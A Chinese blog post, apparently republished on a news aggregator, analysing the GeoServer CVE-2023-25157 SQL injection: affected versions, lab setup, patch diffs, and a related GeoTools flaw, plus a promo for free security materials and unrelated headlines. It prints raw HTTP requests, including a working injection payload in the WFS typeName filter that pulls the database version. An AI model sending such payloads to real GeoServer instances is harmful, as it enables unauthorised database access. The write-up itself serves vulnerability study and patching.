浅析GeoServer CVE-2023-25157 SQL注入
2023-06-22 16:16:59 来源:博客园
简介
GeoServer是一个开源的地图服务器,它是遵循OpenGIS Web服务器规范的J2EE实现,通过它可以方便的将地图数据发布为地图服务,实现地理空间数据在用户之间的共享。
(相关资料图)
影响版本
geoserver<2.18.7
2.19.0
<=geoserver<2.19.7
2.20.0
<=geoserver<2.20.7
2.21.0
<=geoserver<2.21.4
2.22.0
<=geoserver<2.22.2
环境搭建
安装方式有多种可以选择
windwos下载安装
https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.0/GeoServer-2.22.0-winsetup.exe/download
下载后只需要指定端口直接下载可完成安装
war包安装
tomcat下载地址
https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.90/bin/apache-tomcat-8.5.90-windows-x64.zip
geoserver下载地址
https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.1/geoserver-2.23.1-war.zip
解压下载后的文件geoserver-2.15.1-war.zip,得到geoserver.war
把此geoserver.war文件拷贝到tomcat根目录下的webapps文件夹下。
启动tomcat
访问路径,默认端口为8080,端口根据自己的需求开放即可,这里我开放的端口为8081
http://localhost:8081/geoserver/web/
分析
POC下载链接
https://github.com/win3zz/CVE-2023-25157
python3 CVE-2023-25157.pyhttp://localhost:8081
查看提交的补丁分析一下漏洞
https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d
修改了配置文件src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java
重新添加了模块org.geoserver.jdbcloader.JDBCLoaderProperties
模块用于配置文件jdbcconfig/jdbcconfig.properties
中的 JDBCConfig 模块
属性字段并更改了构造函数以包含此属性字段。这允许对数据库配置进行更多自定义,从而可能允许增强安全措施。NamedParameterJdbcTemplate
是 Spring Framework 提供的一个类,它添加了对使用命名参数对 JDBC 语句进行编程的支持,而不是使用经典占位符 ("?") 参数对 JDBC 语句进行编程
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)
public ConfigDatabase( JDBCLoaderProperties properties, DataSource dataSource, XStreamInfoSerialBinding binding) { this(properties, dataSource, binding, null); } public ConfigDatabase( JDBCLoaderProperties properties, final DataSource dataSource, final XStreamInfoSerialBinding binding, CacheProvider cacheProvider) { this.properties = properties; this.binding = binding; this.template = new NamedParameterJdbcTemplate(dataSource);
通过使用参数化查询而不是字符串连接
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/OracleDialect.java
在插入中做了修改
//sql.insert(0, "SELECT * FROM (SELECT query.*, rownum rnum FROM (\n"); //sql.append(") query\n"); sql.insert( 0, "SELECT * FROM (SELECT query.*, rownum rnum FROM (" + (isDebugMode() ? "\n" : "")); sql.append(") query"); appendIfDebug(sql, "\n", " ");
修改了插入语法,其方法在src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java
中定义
public boolean isDebugMode() { return debugMode; } public void setDebugMode(boolean debugMode) { this.debugMode = debugMode; } /** Escapes the contents of the SQL comment to prevent SQL injection. */ public String escapeComment(String comment) { String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("*\\\\/"); return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\\\*"); } /** Appends the objects to the SQL in a comment if debug mode is enabled. */ public StringBuilder appendComment(StringBuilder sql, Object... objects) { if (!debugMode) { return sql; } sql.append(" /* "); for (Object object : objects) { sql.append(escapeComment(String.valueOf(object))); } return sql.append(" */\n"); } /** Appends the objects to the SQL in an comment if debug mode is enabled. */ public StringBuilder appendComment(Object sql, Object... objects) { return appendComment((StringBuilder) sql, objects); } /** Appends one of the strings to the SQL depending on whether debug mode is enabled. */ public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) { return sql.append(debugMode ? ifEnabled : ifDisabled); }
获取功能名POC
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1Host: 10.10.12.35:8081User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0Upgrade-Insecure-Requests: 1
获取功能属性POC
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines&maxFeatures=1&outputFormat=json HTTP/1.1Host: 10.10.12.35:8081User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0Upgrade-Insecure-Requests: 1
构造恶意payload
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines=strStartsWith%28scalerank%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1Host: 10.10.12.35:8081User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0Upgrade-Insecure-Requests: 1
这里引用一张图,geotools的注入漏洞
漏洞编号CVE-2023-25158,查看补丁发现
在类中添加该escapeBackslash
字段modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java
是一种预防措施,可防止某些形式的 SQL 注入,其中反斜杠字符用于转义 SQL 语法中的特殊字符
// single quotes must be escaped to have a valid sql string String escaped = escapeLiteral(encoding);
调用类escapeLiteral()
中的方法EscapeSql.java
。此方法旨在不仅转义单引号,还转义反斜杠,并可能根据其参数转义双引号
public static String escapeLiteral( String literal, boolean escapeBackslash, boolean escapeDoubleQuote) { // " --> "" String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll(""""); if (escapeBackslash) { // \ --> \\ escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\\\\\"); } if (escapeDoubleQuote) { // " --> \" escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\\\\""); } return escaped;
至于为什么会聊到CVE-2023-25158,这里就要聊到Geoserver
和Geotools
的关系了,可以参考这篇文章
https://blog.csdn.net/nmj2008/article/details/113869086
修复方案
升级安全版本,目前已经有最新版本。
更多网安技能的在线实操练习,请点击这里>>
关键词:
[责任编辑:]
相关阅读
- (2023-06-22)浅析GeoServer CVE-2023-25157 SQL注入
- (2023-06-22)招生老师直播连麦⑩丨武汉大学:今年在川招生计划为220人 学校新增3个专业
- (2023-06-22)【环球报资讯】重庆设计公园创新基地进入主体工程施工阶段 预计2025年建成投用
- (2023-06-22)快消息!民生银行济南分行营业部:让电信诈骗无所遁形
- (2023-06-22)环球热门:全球数字经济大会7月4日在京开幕 新加坡将担任主宾国
- (2023-06-22)10年来全国破获毒品犯罪案件107万起,缴获毒品651.9吨
- (2023-06-22)是因为什么(我们快乐是因为什么)
- (2023-06-22)咽喉痛喝什么汤(生病喉咙疼可以喝什么汤?)-环球播资讯
- (2023-06-22)消息!奥飞数据:控股股东拟协议转让公司5%股份
- (2023-06-22)三棵树6月20日公司高管赵富炜增持公司股份合计400股_消息
- (2023-06-22)【环球播资讯】发达经济体中独一档!英国通胀再度爆表 央行料将连续第13次加息
- (2023-06-22)爆炸的烧烤店连夜注销!经营者名下9家公司身家千万,银川全市机关单位被曝放弃休假,有整改大动作
- (2023-06-22)甘州区第一幼儿园:食品安全护健康 节约粮食我先行-今日热议
- (2023-06-22)因部分员工违反禁止性规定,云南南华农商银行被罚款60万元 当前时讯
- (2023-06-22)Woj:凯巫熊三方交易 泰厄斯-琼斯被送至奇才|全球今亮点
- (2023-06-22)新中会员年中盛典!全城热点耀胜新世界载誉推新!
- (2023-06-22)焦点快播:奶牛猫的“5大缺点”,你知道有哪些吗?养猫要注意
- (2023-06-22)“新国标”7月1日起实施这十类行为已查处83338起
- (2023-06-22)完达山IPO生变?终止上市辅导及保荐服务项目招标,竞争加剧、营收承压-速递
- (2023-06-22)人狗猪游戏怎么玩(stray人狗猪马)-环球最资讯
- (2023-06-22)急!内江一老人看病钱掉在出租车上——
- (2023-06-22)湖北发布一批劳动保障监察指导案例
- (2023-06-22)文班亚马:为什么我要增重?应该是其他人减重 天天视点
- (2023-06-22)影片《我爱你!》票房破3000万
- (2023-06-22)畜牧业行业调研 中国畜牧业产量及市场需求分析2023_天天简讯
- (2023-06-22)1-5月快递业务量同比增长17.4% 当前热点
- (2023-06-22)唐山市第十一中学举行入团仪式,开启青春新征程
- (2023-06-22)每日观点:中国大使在联合国人权理事会阐述中方在巴勒斯坦问题上主张
- (2023-06-22)9换1!5.47亿!休赛期第一笔交易达成,创75年纪录,恭喜了杜兰特 环球快资讯
- (2023-06-22)财政部:重点支持和鼓励大众消费 避免高档豪华车占用过多税收优惠资源|每日时讯